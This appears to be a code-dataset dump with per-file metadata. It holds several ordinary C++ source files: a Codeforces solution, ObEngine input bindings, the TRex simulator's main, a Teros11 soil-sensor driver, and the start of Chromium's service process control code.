hexsha
stringlengths
40
40
size
int64
7
1.05M
ext
stringclasses
13 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
269
max_stars_repo_name
stringlengths
5
108
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
9
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
269
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
9
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
269
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
9
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
7
1.05M
avg_line_length
float64
1.21
330k
max_line_length
int64
6
990k
alphanum_fraction
float64
0.01
0.99
author_id
stringlengths
2
40
0e748b03089134f5aa06d6003fdd1e9c31123648
975
cpp
C++
codeforces/350div2/D1/main.cpp
Johniel/contests
b692eff913c20e2c1eb4ff0ce3cd4c57900594e0
[ "Unlicense" ]
null
null
null
codeforces/350div2/D1/main.cpp
Johniel/contests
b692eff913c20e2c1eb4ff0ce3cd4c57900594e0
[ "Unlicense" ]
19
2016-05-04T02:46:31.000Z
2021-11-27T06:18:33.000Z
codeforces/350div2/D1/main.cpp
Johniel/contests
b692eff913c20e2c1eb4ff0ce3cd4c57900594e0
[ "Unlicense" ]
null
null
null
#include <bits/stdc++.h> #define each(i, c) for (auto& i : c) #define unless(cond) if (!(cond)) using namespace std; typedef long long int lli; typedef unsigned long long ull; typedef complex<double> point; template<typename P, typename Q> ostream& operator << (ostream& os, pair<P, Q> p) { os << "(" << p.first << "," << p.second << ")"; return os; } const int N = 1000 + 10; int dp[N][N]; int main(int argc, char *argv[]) { int n, k; while (scanf("%d%d", &n, &k) == 2) { int a[n]; for (int i = 0; i < n; ++i) { scanf("%d", a + i); } int b[n]; for (int i = 0; i < n; ++i) { scanf("%d", b + i); } int c = 0; while (true) { for (int i = 0; i < n; ++i) { if (a[i] > b[i]) { k -= abs(b[i] - a[i]); b[i] = a[i]; } } if (k < 0) break; ++c; for (int i = 0; i < n; ++i) { b[i] -= a[i]; } } printf("%d\n", c); } return 0; }
17.105263
49
0.434872
Johniel
0e76d4500adc76b05a4694dcb5572b93e07dbdda
14,532
cpp
C++
src/main.cpp
GabrielGanne/trex-core
688a0fe0adb890964691473723d70ffa98e00dd3
[ "Apache-2.0" ]
1
2021-08-19T04:57:04.000Z
2021-08-19T04:57:04.000Z
src/main.cpp
hjat2005/trex-core
400f03c86c844a0096dff3f6b13e58a808aaefff
[ "Apache-2.0" ]
1
2019-03-08T04:50:50.000Z
2019-03-08T04:50:50.000Z
src/main.cpp
hjat2005/trex-core
400f03c86c844a0096dff3f6b13e58a808aaefff
[ "Apache-2.0" ]
2
2019-04-25T05:32:53.000Z
2019-04-26T00:14:24.000Z
/* Hanoh Haim Cisco Systems, Inc. */ /* Copyright (c) 2015-2015 Cisco Systems, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "bp_sim.h" #include "os_time.h" #include "trex_client_config.h" #include <unordered_map> #include <string> #include "common/arg/SimpleGlob.h" #include "common/arg/SimpleOpt.h" #include "stl/trex_stl.h" #include "sim/trex_sim.h" #include "trex_build_info.h" using namespace std; // An enum for all the option types enum { OPT_HELP, OPT_CFG, OPT_NODE_DUMP, OP_STATS, OPT_FILE_OUT, OPT_UT, OPT_PCAP, OPT_IPV6, OPT_CLIENT_CFG_FILE, OPT_SL, OPT_ASF, OPT_DP_CORE_COUNT, OPT_DP_CORE_INDEX, OPT_LIMIT, OPT_ASTF_SIM_MODE,OPT_ASTF_FULL, OPT_ASTF_SIM_ARG, OPT_ASTF_EMUL_DEBUG, OPT_NO_CLEAN_FLOW_CLOSE, /* simulator ASTF */ OPT_ASTF_SHAPER_RATE, OPT_ASTF_SHAPER_SIZE, OPT_ASTF_RTT, OPT_ASTF_DROP_PROB, OPT_DRY_RUN, OPT_DURATION, OPT_DUMP_JSON}; /** * type of run * GTEST * Stateful * Stateless */ typedef enum { OPT_TYPE_GTEST = 7, OPT_TYPE_SF, OPT_TYPE_ASF, OPT_TYPE_SL } opt_type_e; /* these are the argument types: SO_NONE -- no argument needed SO_REQ_SEP -- single required argument SO_MULTI -- multiple arguments needed */ static CSimpleOpt::SOption parser_options[] = { { OPT_HELP, "-?", SO_NONE }, { OPT_HELP, "-h", SO_NONE }, { OPT_HELP, "--help", SO_NONE }, { OPT_UT, "--ut", SO_NONE }, { OP_STATS, "-s", SO_NONE }, { OPT_CFG, "-f", SO_REQ_SEP }, { OPT_CLIENT_CFG_FILE, "--client_cfg", SO_REQ_SEP }, { OPT_CLIENT_CFG_FILE, "--client-cfg", SO_REQ_SEP }, { OPT_FILE_OUT , "-o", SO_REQ_SEP }, { OPT_NODE_DUMP , "-v", SO_REQ_SEP }, { OPT_DURATION, "-d", SO_REQ_SEP }, { OPT_PCAP, "--pcap", SO_NONE }, { OPT_IPV6, "--ipv6", SO_NONE }, { OPT_SL, "--sl", SO_NONE }, { OPT_NO_CLEAN_FLOW_CLOSE, "--nc", SO_NONE }, { OPT_ASF, "--tcp_cfg", SO_REQ_SEP }, { OPT_ASTF_FULL, "--full", SO_NONE }, { OPT_DP_CORE_COUNT, "--cores", SO_REQ_SEP }, { OPT_DP_CORE_INDEX, "--core_index", SO_REQ_SEP }, { OPT_ASTF_EMUL_DEBUG, "--astf-emul-debug", SO_NONE}, { OPT_LIMIT, "--limit", SO_REQ_SEP }, { OPT_DUMP_JSON, "--sim-json", SO_NONE }, { OPT_ASTF_SIM_MODE, "--sim-mode", SO_REQ_SEP }, { OPT_ASTF_SIM_ARG, "--sim-arg", SO_REQ_SEP }, { OPT_ASTF_SHAPER_RATE, "--shaper-rate", SO_REQ_SEP }, { OPT_ASTF_SHAPER_SIZE, "--shaper-size", SO_REQ_SEP }, { OPT_ASTF_RTT, "--rtt", SO_REQ_SEP}, { OPT_ASTF_DROP_PROB, "--drop", SO_REQ_SEP }, { OPT_DRY_RUN, "--dry", SO_NONE }, SO_END_OF_OPTIONS }; static TrexSTX *m_sim_stx; static char *g_exe_name; static asrtf_args_t asrtf_args; const char *get_exe_name() { return g_exe_name; } static void set_sw_mode(){ get_mode()->choose_mode(tdCAP_ONE_QUE); get_mode()->force_software_mode(true); } static int usage(){ printf(" Usage: bp_sim [OPTION] -f cfg.yaml -o outfile.erf \n"); printf(" \n"); printf(" \n"); printf(" options:\n"); printf(" -d [s] duration time of simulated traffic in seconds\n"); printf(" -v [1-3] verbose mode \n"); printf(" 1 show only stats \n"); printf(" 2 run preview do not write to file \n"); printf(" 3 run preview write stats file \n"); printf(" Note in case of verbose mode you don't need to add the output file \n"); printf(" \n"); printf(" Warning : This program can generate huge-files (TB ) watch out! try this only on local drive \n"); printf(" \n"); printf(" --pcap export the file in pcap mode \n"); printf(" Examples: "); printf(" 1) preview show csv stats \n"); printf(" #>bp_sim -f cfg.yaml -v 1 \n"); printf(" \n "); printf(" 2) more detail preview preview show csv stats \n"); printf(" #>bp_sim -f cfg.yaml -v 2 \n"); printf(" \n "); printf(" 3) more detail preview plus stats \n"); printf(" #>bp_sim -f cfg.yaml -v 3 \n"); printf(" \n "); printf(" 4) do the job ! \n"); printf(" #>bp_sim -f cfg.yaml -o outfile.erf \n"); printf("\n"); printf("\n"); printf(" ASTF modes :\n"); printf(" \n"); printf(" \n"); printf(" csSIM_RST_SYN 0x17 23 \n"); printf(" csSIM_RST_SYN1 0x18 24 \n"); printf(" csSIM_WRONG_PORT 0x19 25 \n"); printf(" csSIM_RST_MIDDLE 0x1a 26 \n"); printf(" csSIM_RST_MIDDLE2 0x1b 27 \n"); printf(" csSIM_DROP, 0x1c 28 \n"); printf(" csSIM_REORDER, 0x1d 29 \n"); printf(" csSIM_REORDER_DROP 0x1e 30 \n"); printf(" \n"); printf(" ASTF simulator :\n"); printf(" --shaper-rate : shaper rate in kbps \n"); printf(" --shaper-size : shaper size in bytes \n"); printf(" --rtt : rtt in usec \n"); printf(" --drop : drop precents \n"); printf(" Copyright (C) 2015 by hhaim Cisco-System for IL dev-test \n"); printf(" version : 1.0 beta \n"); TrexBuildInfo::show(); return (0); } static int parse_options(int argc, char *argv[], CParserOption* po, std::unordered_map<std::string, int> &params) { if (TrexBuildInfo::is_sanitized()) { printf("\n*******************************************************\n"); printf("\n***** Sanitized binary - Expect lower performance *****\n\n"); printf("\n*******************************************************\n"); } CSimpleOpt args(argc, argv, parser_options); int a=0; int node_dump=0; po->preview.clean(); po->preview.setFileWrite(true); /*By Default Tunnel is disabled , and port number is garbage here*/ po->m_tunnel_enabled = false; /* by default - type is stateful */ params["type"] = OPT_TYPE_SF; while ( args.Next() ){ if (args.LastError() == SO_SUCCESS) { switch (args.OptionId()) { case OPT_UT : params["type"] = OPT_TYPE_GTEST; return (0); break; case OPT_HELP: usage(); return -1; case OPT_SL: params["type"] = OPT_TYPE_SL; break; case OPT_ASTF_EMUL_DEBUG: po->preview.setEmulDebug(true); break; case OPT_ASF: params["type"] = OPT_TYPE_ASF; po->astf_cfg_file = args.OptionArg(); break; case OPT_CFG: po->cfg_file = args.OptionArg(); break; case OPT_CLIENT_CFG_FILE: po->client_cfg_file = args.OptionArg(); break; case OPT_FILE_OUT: po->out_file = args.OptionArg(); break; case OPT_NO_CLEAN_FLOW_CLOSE : po->preview.setNoCleanFlowClose(true); break; case OPT_IPV6: po->preview.set_ipv6_mode_enable(true); break; case OPT_NODE_DUMP: a=atoi(args.OptionArg()); node_dump=1; po->preview.setFileWrite(false); break; case OPT_DUMP_JSON: asrtf_args.dump_json =true; break; case OPT_ASTF_SIM_MODE: asrtf_args.sim_mode = atoi(args.OptionArg()); break; case OPT_ASTF_SIM_ARG: float a; sscanf(args.OptionArg(),"%f", &a); asrtf_args.sim_arg=(double)a; break; break; case OPT_PCAP: po->preview.set_pcap_mode_enable(true); break; case OPT_ASTF_SHAPER_RATE: asrtf_args.m_shaper_kbps=atoi(args.OptionArg()); break; case OPT_ASTF_SHAPER_SIZE: asrtf_args.m_shaper_size=atoi(args.OptionArg()); break; case OPT_ASTF_RTT: asrtf_args.m_rtt_usec=atoi(args.OptionArg()); break; case OPT_ASTF_DROP_PROB: float d; sscanf(args.OptionArg(),"%f", &d); asrtf_args.m_drop_prob_precent=d; break; case OPT_ASTF_FULL : asrtf_args.full_sim=true; break; case OPT_DP_CORE_COUNT: params["dp_core_count"] = atoi(args.OptionArg()); break; case OPT_DP_CORE_INDEX: params["dp_core_index"] = atoi(args.OptionArg()); break; case OPT_LIMIT: params["limit"] = atoi(args.OptionArg()); break; case OPT_DURATION: sscanf(args.OptionArg(),"%f", &po->m_duration); break; case OPT_DRY_RUN: params["dry"] = 1; break; default: printf("Error: option %s is defined, but not handled.\n\n", args.OptionText()); return -1; break; } // End of switch }// End of IF else { usage(); return -1; } } // End of while if ((po->cfg_file =="") ) { if (po->astf_cfg_file == "") { printf("Invalid combination of parameters you must add either -f or --tcp_cfg \n"); usage(); return -1; } } else { if (po->astf_cfg_file != "") { printf("Invalid combination of parameters. Can't specify both -f and --tcp_cfg \n"); usage(); return -1; } } if ( node_dump ){ po->preview.setVMode(a); }else{ if (po->out_file=="" ){ printf("Invalid combination of parameters you must give output file using -o \n"); usage(); return -1; } } /* did the user configure dp core count or dp core index ? */ if (params.count("dp_core_count") > 0) { if (!in_range(params["dp_core_count"], 1, 8)) { printf("dp core count must be a value between 1 and 8\n"); return (-1); } } if (params.count("dp_core_index") > 0) { if (!in_range(params["dp_core_index"], 0, params["dp_core_count"] - 1)) { printf("dp core index must be a value between 0 and cores - 1\n"); return (-1); } } return 0; } void set_default_mac_addr(){ int i; for (i=0; i<4; i++) { memset(CGlobalInfo::m_options.get_dst_src_mac_addr(i),((i+1)<<4),6); memset(CGlobalInfo::m_options.get_src_mac_addr(i),((i+1)<<4)+8,6); } } TrexSTX * get_stx() { return m_sim_stx; } void set_stx(TrexSTX *obj) { m_sim_stx = obj; } void abort_gracefully(const std::string &on_stdout, const std::string &on_publisher) { std::cout << on_stdout << "\n"; abort(); } int astf_full_sim(void){ return(0); } int main(int argc , char * argv[]){ g_exe_name = argv[0]; std::unordered_map<std::string, int> params; if ( parse_options(argc, argv, &CGlobalInfo::m_options , params) != 0) { exit(-1); } set_default_mac_addr(); opt_type_e type = (opt_type_e) params["type"]; switch (type) { case OPT_TYPE_GTEST: { SimGtest test; return test.run(argc, argv); } case OPT_TYPE_SF: { SimStateful sf; set_op_mode(OP_MODE_STF); set_sw_mode(); return sf.run(); } case OPT_TYPE_ASF: { CGlobalInfo::m_options.preview.setFileWrite(true); CGlobalInfo::m_options.preview.setChecksumOffloadEnable(true); set_op_mode(OP_MODE_ASTF_BATCH); set_sw_mode(); if (asrtf_args.full_sim){ SimAstf sf; sf.args=&asrtf_args; return sf.run(); }else{ SimAstfSimple sf; sf.args=&asrtf_args; return sf.run(); } } case OPT_TYPE_SL: { SimStateless &st = SimStateless::get_instance(); set_op_mode(OP_MODE_STL); set_sw_mode(); if (params.count("dp_core_count") == 0) { params["dp_core_count"] = 1; } if (params.count("dp_core_index") == 0) { params["dp_core_index"] = -1; } if (params.count("limit") == 0) { params["limit"] = 5000; } if (params.count("dry") == 0) { params["dry"] = 0; } return st.run(CGlobalInfo::m_options.cfg_file, CGlobalInfo::m_options.out_file, 2, params["dp_core_count"], params["dp_core_index"], params["limit"], (params["dry"] == 1) ); } } } /** * SIM API target */ TrexPlatformApi &get_platform_api() { static SimPlatformApi api(1); return api; }
29.122244
112
0.505023
GabrielGanne
0e76e7a7228402d1f5fabcccc065d0865184bfd1
11,207
cpp
C++
src/Core/Bindings/obe/Input/Input.cpp
lukefelsberg/ObEngine
a0385df4944adde7c1c8073ead15419286c70019
[ "MIT" ]
187
2021-05-22T07:56:34.000Z
2022-03-30T20:23:16.000Z
src/Core/Bindings/obe/Input/Input.cpp
lukefelsberg/ObEngine
a0385df4944adde7c1c8073ead15419286c70019
[ "MIT" ]
48
2021-05-25T01:46:49.000Z
2022-03-23T21:32:54.000Z
src/Core/Bindings/obe/Input/Input.cpp
lukefelsberg/ObEngine
a0385df4944adde7c1c8073ead15419286c70019
[ "MIT" ]
11
2021-05-24T07:01:33.000Z
2022-03-07T12:08:48.000Z
#include <Bindings/obe/Input/Input.hpp> #include <Input/InputAction.hpp> #include <Input/InputButton.hpp> #include <Input/InputButtonMonitor.hpp> #include <Input/InputButtonState.hpp> #include <Input/InputCondition.hpp> #include <Input/InputManager.hpp> #include <Input/InputType.hpp> #include <Bindings/Config.hpp> namespace obe::Input::Bindings { void LoadEnumMouseWheelScrollDirection(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.new_enum<obe::Input::MouseWheelScrollDirection>("MouseWheelScrollDirection", { { "Up", obe::Input::MouseWheelScrollDirection::Up }, { "Down", obe::Input::MouseWheelScrollDirection::Down }, { "Left", obe::Input::MouseWheelScrollDirection::Left }, { "Right", obe::Input::MouseWheelScrollDirection::Right } }); } void LoadEnumAxisThresholdDirection(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.new_enum<obe::Input::AxisThresholdDirection>("AxisThresholdDirection", { { "Less", obe::Input::AxisThresholdDirection::Less }, { "More", obe::Input::AxisThresholdDirection::More } }); } void LoadEnumInputButtonState(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.new_enum<obe::Input::InputButtonState>("InputButtonState", { { "Idle", obe::Input::InputButtonState::Idle }, { "Hold", obe::Input::InputButtonState::Hold }, { "Pressed", obe::Input::InputButtonState::Pressed }, { "Released", obe::Input::InputButtonState::Released }, { "LAST__", obe::Input::InputButtonState::LAST__ } }); } void LoadEnumInputType(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.new_enum<obe::Input::InputType>("InputType", { { "Alpha", obe::Input::InputType::Alpha }, { "Numeric", obe::Input::InputType::Numeric }, { "NumericNP", obe::Input::InputType::NumericNP }, { "Arrows", obe::Input::InputType::Arrows }, { "Functions", obe::Input::InputType::Functions }, { "Mouse", obe::Input::InputType::Mouse }, { "Others", obe::Input::InputType::Others }, { "GamepadButton", obe::Input::InputType::GamepadButton }, { "GamepadAxis", obe::Input::InputType::GamepadAxis }, { "ScrollWheel", obe::Input::InputType::ScrollWheel } }); } void LoadClassInputAction(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); sol::usertype<obe::Input::InputAction> bindInputAction = InputNamespace.new_usertype<obe::Input::InputAction>("InputAction", sol::call_constructor, sol::constructors<obe::Input::InputAction( obe::Event::EventGroup*, const std::string&)>(), sol::base_classes, sol::bases<obe::Types::Identifiable>()); bindInputAction["addCondition"] = &obe::Input::InputAction::addCondition; bindInputAction["addContext"] = &obe::Input::InputAction::addContext; bindInputAction["check"] = &obe::Input::InputAction::check; bindInputAction["clearConditions"] = &obe::Input::InputAction::clearConditions; bindInputAction["getContexts"] = &obe::Input::InputAction::getContexts; bindInputAction["getInterval"] = &obe::Input::InputAction::getInterval; bindInputAction["getRepeat"] = &obe::Input::InputAction::getRepeat; bindInputAction["setInterval"] = &obe::Input::InputAction::setInterval; bindInputAction["setRepeat"] = &obe::Input::InputAction::setRepeat; bindInputAction["update"] = &obe::Input::InputAction::update; bindInputAction["getInvolvedButtons"] = &obe::Input::InputAction::getInvolvedButtons; bindInputAction["enable"] = &obe::Input::InputAction::enable; bindInputAction["disable"] = &obe::Input::InputAction::disable; bindInputAction["isEnabled"] = &obe::Input::InputAction::isEnabled; } void LoadClassInputButton(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); sol::usertype<obe::Input::InputButton> bindInputButton = InputNamespace.new_usertype< obe::Input::InputButton>("InputButton", sol::call_constructor, sol::constructors<obe::Input::InputButton(sf::Keyboard::Key, const std::string&, const std::string&, obe::Input::InputType), obe::Input::InputButton(sf::Mouse::Button, const std::string&), obe::Input::InputButton(unsigned int, unsigned int, const std::string&), obe::Input::InputButton(unsigned int, sf::Joystick::Axis, std::pair<obe::Input::AxisThresholdDirection, float>, const std::string&), obe::Input::InputButton(obe::Input::MouseWheelScrollDirection, const std::string&), obe::Input::InputButton(const obe::Input::InputButton&)>()); bindInputButton["reload"] = &obe::Input::InputButton::reload; bindInputButton["getAxisPosition"] = &obe::Input::InputButton::getAxisPosition; bindInputButton["getWheelDelta"] = &obe::Input::InputButton::getWheelDelta; bindInputButton["getKey"] = &obe::Input::InputButton::getKey; bindInputButton["getName"] = &obe::Input::InputButton::getName; bindInputButton["getType"] = &obe::Input::InputButton::getType; bindInputButton["is"] = &obe::Input::InputButton::is; bindInputButton["isPressed"] = &obe::Input::InputButton::isPressed; bindInputButton["isWritable"] = &obe::Input::InputButton::isWritable; } void LoadClassInputButtonMonitor(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); sol::usertype<obe::Input::InputButtonMonitor> bindInputButtonMonitor = InputNamespace.new_usertype<obe::Input::InputButtonMonitor>("InputButtonMonitor", sol::call_constructor, sol::constructors<obe::Input::InputButtonMonitor(obe::Input::InputButton&)>()); bindInputButtonMonitor["getButton"] = &obe::Input::InputButtonMonitor::getButton; bindInputButtonMonitor["getState"] = &obe::Input::InputButtonMonitor::getState; bindInputButtonMonitor["update"] = &obe::Input::InputButtonMonitor::update; bindInputButtonMonitor["checkForRefresh"] = &obe::Input::InputButtonMonitor::checkForRefresh; } void LoadClassInputCondition(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); sol::usertype<obe::Input::InputCondition> bindInputCondition = InputNamespace.new_usertype<obe::Input::InputCondition>("InputCondition", sol::call_constructor, sol::constructors<obe::Input::InputCondition()>()); bindInputCondition["addCombinationElement"] = &obe::Input::InputCondition::addCombinationElement; bindInputCondition["check"] = &obe::Input::InputCondition::check; bindInputCondition["clear"] = &obe::Input::InputCondition::clear; bindInputCondition["enable"] = &obe::Input::InputCondition::enable; bindInputCondition["disable"] = &obe::Input::InputCondition::disable; bindInputCondition["isEnabled"] = &obe::Input::InputCondition::isEnabled; } void LoadClassInputManager(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); sol::usertype<obe::Input::InputManager> bindInputManager = InputNamespace.new_usertype<obe::Input::InputManager>("InputManager", sol::call_constructor, sol::constructors<obe::Input::InputManager(obe::Event::EventNamespace&)>(), sol::base_classes, sol::bases<obe::Types::Togglable>()); bindInputManager["actionExists"] = &obe::Input::InputManager::actionExists; bindInputManager["addContext"] = &obe::Input::InputManager::addContext; bindInputManager["getAction"] = &obe::Input::InputManager::getAction; bindInputManager["getContexts"] = &obe::Input::InputManager::getContexts; bindInputManager["clear"] = &obe::Input::InputManager::clear; bindInputManager["clearContexts"] = &obe::Input::InputManager::clearContexts; bindInputManager["configure"] = &obe::Input::InputManager::configure; bindInputManager["removeContext"] = &obe::Input::InputManager::removeContext; bindInputManager["setContext"] = &obe::Input::InputManager::setContext; bindInputManager["update"] = &obe::Input::InputManager::update; bindInputManager["getInput"] = &obe::Input::InputManager::getInput; bindInputManager["getInputs"] = sol::overload( static_cast<std::vector<obe::Input::InputButton*> (obe::Input::InputManager::*)()>( &obe::Input::InputManager::getInputs), static_cast<std::vector<obe::Input::InputButton*> (obe::Input::InputManager::*)( obe::Input::InputType)>(&obe::Input::InputManager::getInputs)); bindInputManager["getPressedInputs"] = &obe::Input::InputManager::getPressedInputs; bindInputManager["monitor"] = sol::overload( static_cast<obe::Input::InputButtonMonitorPtr (obe::Input::InputManager::*)( const std::string&)>(&obe::Input::InputManager::monitor), static_cast<obe::Input::InputButtonMonitorPtr (obe::Input::InputManager::*)( obe::Input::InputButton&)>(&obe::Input::InputManager::monitor)); bindInputManager["requireRefresh"] = &obe::Input::InputManager::requireRefresh; bindInputManager["initializeGamepads"] = &obe::Input::InputManager::initializeGamepads; bindInputManager["initializeGamepad"] = &obe::Input::InputManager::initializeGamepad; } void LoadFunctionInputButtonStateToString(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.set_function( "inputButtonStateToString", &obe::Input::inputButtonStateToString); } void LoadFunctionStringToInputButtonState(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.set_function( "stringToInputButtonState", &obe::Input::stringToInputButtonState); } void LoadFunctionInputTypeToString(sol::state_view state) { sol::table InputNamespace = state["obe"]["Input"].get<sol::table>(); InputNamespace.set_function("inputTypeToString", &obe::Input::inputTypeToString); } };
61.917127
100
0.640582
lukefelsberg
0e7bae794ad1d65ef5d1447aadc84b72b2de978e
4,229
cpp
C++
src/sensors/MeterTeros11.cpp
daq-tools/EnviroDIY-ModularSensors
64bdb75cdc2920880db6bcd452c61d0584ccde38
[ "BSD-3-Clause" ]
null
null
null
src/sensors/MeterTeros11.cpp
daq-tools/EnviroDIY-ModularSensors
64bdb75cdc2920880db6bcd452c61d0584ccde38
[ "BSD-3-Clause" ]
null
null
null
src/sensors/MeterTeros11.cpp
daq-tools/EnviroDIY-ModularSensors
64bdb75cdc2920880db6bcd452c61d0584ccde38
[ "BSD-3-Clause" ]
1
2020-06-16T14:59:05.000Z
2020-06-16T14:59:05.000Z
/** * @file MeterTeros11.cpp * @copyright 2020 Stroud Water Research Center * Part of the EnviroDIY ModularSensors library for Arduino * @author Written By: Anthony Aufdenkampe <aaufdenkampe@limno.com> * Edited by Sara Geleskie Damiano <sdamiano@stroudcenter.org> * * @brief Implements the MeterTeros11 class. */ #include "MeterTeros11.h" bool MeterTeros11::addSingleMeasurementResult(void) { bool success = false; // Set up the float variables for receiving data float ea = -9999; float temp = -9999; float VWC = -9999; // Check a measurement was *successfully* started (status bit 6 set) // Only go on to get a result if it was if (bitRead(_sensorStatus, 6)) { // MS_DBG(F(" Activating SDI-12 instance for"), // getSensorNameAndLocation()); // Check if this the currently active SDI-12 Object bool wasActive = _SDI12Internal.isActive(); // if (wasActive) { // MS_DBG(F(" SDI-12 instance for"), getSensorNameAndLocation(), // F("was already active!")); // } // If it wasn't active, activate it now. // Use begin() instead of just setActive() to ensure timer is set // correctly. if (!wasActive) _SDI12Internal.begin(); // Empty the buffer _SDI12Internal.clearBuffer(); MS_DBG(getSensorNameAndLocation(), F("is reporting:")); String getDataCommand = ""; getDataCommand += _SDI12address; // SDI-12 command to get data [address][D][dataOption][!] getDataCommand += "D0!"; _SDI12Internal.sendCommand(getDataCommand); delay(30); // It just needs this little delay MS_DBG(F(" >>>"), getDataCommand); uint32_t start = millis(); while (_SDI12Internal.available() < 3 && (millis() - start) < 1500) {} MS_DBG(F(" Receiving results from"), getSensorNameAndLocation()); _SDI12Internal.read(); // ignore the repeated SDI12 address // First variable returned is the raw count value. This gets convertd // into dielectric ea float raw = _SDI12Internal.parseFloat(); if (raw < 0 || raw > 5000) raw = -9999; if (raw != -9999) { ea = ((2.887e-9 * (raw * raw * raw)) - (2.08e-5 * (raw * raw)) + (5.276e-2 * raw) - 43.39) * ((2.887e-9 * (raw * raw * raw)) - (2.08e-5 * (raw * raw)) + (5.276e-2 * raw) - 43.39); } // Second variable returned is the temperature in °C temp = _SDI12Internal.parseFloat(); if (temp < -50 || temp > 60) temp = -9999; // Range is - 40°C to + 50°C // the "third" variable of VWC is actually calculated (Topp equation for // mineral soils), not returned by the sensor! if (ea != -9999) { VWC = (4.3e-6 * (ea * ea * ea)) - (5.5e-4 * (ea * ea)) + (2.92e-2 * ea) - 5.3e-2; VWC *= 100; // Convert to actual percent } // VWC = 3.879e-4*raw-0.6956; // equation for mineral soils if (VWC < 0) VWC = 0; if (VWC > 100) VWC = 100; // String sdiResponse = _SDI12Internal.readStringUntil('\n'); // sdiResponse.trim(); // _SDI12Internal.clearBuffer(); // MS_DBG(F(" <<<"), sdiResponse); // Empty the buffer again _SDI12Internal.clearBuffer(); // De-activate the SDI-12 Object // Use end() instead of just forceHold to un-set the timers _SDI12Internal.end(); MS_DBG(F(" Dialectric E:"), ea); MS_DBG(F(" Temperature:"), temp); MS_DBG(F(" Volumetric Water Content:"), VWC); success = true; } else { MS_DBG(getSensorNameAndLocation(), F("is not currently measuring!")); } verifyAndAddMeasurementResult(TEROS11_EA_VAR_NUM, ea); verifyAndAddMeasurementResult(TEROS11_TEMP_VAR_NUM, temp); verifyAndAddMeasurementResult(TEROS11_VWC_VAR_NUM, VWC); // Unset the time stamp for the beginning of this measurement _millisMeasurementRequested = 0; // Unset the status bits for a measurement request (bits 5 & 6) _sensorStatus &= 0b10011111; return success; }
38.445455
80
0.588792
daq-tools
0e81856e25e697dea5f5e82ca7c25fa15f5049fc
13,675
cc
C++
chrome/browser/service_process/service_process_control.cc
zipated/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
chrome/browser/service_process/service_process_control.cc
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
chrome/browser/service_process/service_process_control.cc
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/service_process/service_process_control.h" #include <utility> #include "base/bind.h" #include "base/bind_helpers.h" #include "base/command_line.h" #include "base/files/file_path.h" #include "base/location.h" #include "base/memory/ref_counted.h" #include "base/metrics/histogram_base.h" #include "base/metrics/histogram_delta_serialization.h" #include "base/metrics/histogram_macros.h" #include "base/process/kill.h" #include "base/process/launch.h" #include "base/single_thread_task_runner.h" #include "base/stl_util.h" #include "base/task_scheduler/post_task.h" #include "base/threading/thread.h" #include "base/threading/thread_restrictions.h" #include "base/threading/thread_task_runner_handle.h" #include "build/build_config.h" #include "chrome/browser/browser_process.h" #include "chrome/browser/upgrade_detector.h" #include "chrome/common/service_process_util.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/child_process_launcher_utils.h" #include "mojo/edk/embedder/embedder.h" #include "mojo/edk/embedder/named_platform_handle.h" #include "mojo/edk/embedder/named_platform_handle_utils.h" #include "mojo/edk/embedder/peer_connection.h" using content::BrowserThread; namespace { // The number of and initial delay between retry attempts when connecting to the // service process. These are applied with exponential backoff and are necessary // to avoid inherent raciness in how the service process listens for incoming // connections, particularly on Windows. const size_t kMaxConnectionAttempts = 10; constexpr base::TimeDelta kInitialConnectionRetryDelay = base::TimeDelta::FromMilliseconds(20); void ConnectAsyncWithBackoff( service_manager::mojom::InterfaceProviderRequest interface_provider_request, mojo::edk::NamedPlatformHandle os_pipe, size_t num_retries_left, base::TimeDelta retry_delay, scoped_refptr<base::TaskRunner> response_task_runner, 